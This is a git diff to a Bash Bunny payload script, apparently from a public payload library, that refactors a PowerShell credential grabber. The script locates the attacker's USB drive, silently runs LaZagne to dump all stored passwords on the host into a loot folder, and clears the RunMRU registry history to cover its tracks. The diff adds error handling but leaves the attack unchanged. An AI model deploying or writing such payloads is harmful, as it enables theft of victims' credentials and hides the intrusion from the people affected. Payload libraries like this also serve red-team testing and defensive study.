diff --git a/payloads/library/credentials/NoDefenseAgainstLaZagne/payload.ps1 b/payloads/library/credentials/NoDefenseAgainstLaZagne/payload.ps1 index 92b57df4..93cdd41b 100644 --- a/payloads/library/credentials/NoDefenseAgainstLaZagne/payload.ps1 +++ b/payloads/library/credentials/NoDefenseAgainstLaZagne/payload.ps1 @@ -1,6 +1,23 @@ -$drivelabel = 'BashBunny' -$dest = ((Get-WmiObject win32_volume -f 'label=''$drivelabel''').Name+'loot\PasswordGrabber') -$filter = 'password_'+ $env:COMPUTERNAME -$filecount = ((Get-ChildItem -filter ($filter + "*") -path $dest | Measure-Object | Select -ExpandProperty Count) + 1) -Start-Process -WindowStyle Hidden -FilePath ((Get-WmiObject win32_volume -f 'label=''$drivelabel''').Name+'tooling\LaZagne.exe') -ArgumentList 'all -vv' -RedirectStandardOutput ($dest +'\' + $filter +'_' + $filecount +'.txt') -Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue +$drivelabel = 'BashBunny' +$volume = Get-WmiObject win32_volume -Filter "label='$drivelabel'" + +if ($volume) { + $dest = $volume.Name + 'loot\PasswordGrabber' + $filter = 'password_' + $env:COMPUTERNAME + $filecount = ((Get-ChildItem -Filter ($filter + "*") -Path $dest | Measure-Object).Count + 1) + + $toolPath = $volume.Name + 'tooling\LaZagne.exe' + if (Test-Path $toolPath) { + Start-Process -WindowStyle Hidden -FilePath $toolPath -ArgumentList 'all -vv' ` + -RedirectStandardOutput ($dest + '\' + $filter + '_' + $filecount + '.txt') + } else { + Write-Error "LaZagne.exe not found at: $toolPath" + exit 1 + } + + Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' ` + -Name '*' -ErrorAction SilentlyContinue +} else { + Write-Error "Drive labeled '$drivelabel' not found." + exit 1 +}